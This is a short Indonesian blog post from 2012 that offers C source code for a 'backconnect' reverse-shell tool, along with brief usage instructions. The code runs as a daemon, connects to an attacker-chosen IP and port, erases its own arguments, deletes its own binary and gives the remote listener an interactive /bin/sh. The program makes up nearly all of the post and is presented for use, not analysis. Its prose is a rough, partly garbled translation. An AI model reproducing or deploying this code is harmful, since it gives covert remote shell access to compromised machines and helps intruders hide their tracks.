Tuesday, January 24, 2012

Backconect Localroot

sebuah script sederhana untuk mendapatkan konsol oleh backconnect (baca "koneksi remote"). Hanya sederhana, kompilasi pertama. kemudian / backconnect. pelabuhan ip. jangan lupa untuk membuat port mendengarkan pada shell spesified untuk mendapatkan konsol terpencil. Hal ini membuat alat untuk C / C + +

Coder: Unknown.

bawah adalah kode:

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[])
{
 int fd;
 struct sockaddr_in sin;
 char rms[21]="rm -f "; 
 daemon(1,0);
 sin.sin_family = AF_INET;
 sin.sin_port = htons(atoi(argv[2]));
 sin.sin_addr.s_addr = inet_addr(argv[1]); 
 bzero(argv[1],strlen(argv[1])+1+strlen(argv[2])); 
 fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ; 
 if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
   perror("[-] connect()");
   exit(0);
 }
 strcat(rms, argv[0]);
 system(rms);  
 dup2(fd, 0);
 dup2(fd, 1);
 dup2(fd, 2);
 execl("/bin/sh","sh -i", NULL);
 close(fd); 
}

No comments:

Post a Comment

thank you for commenting on our blogs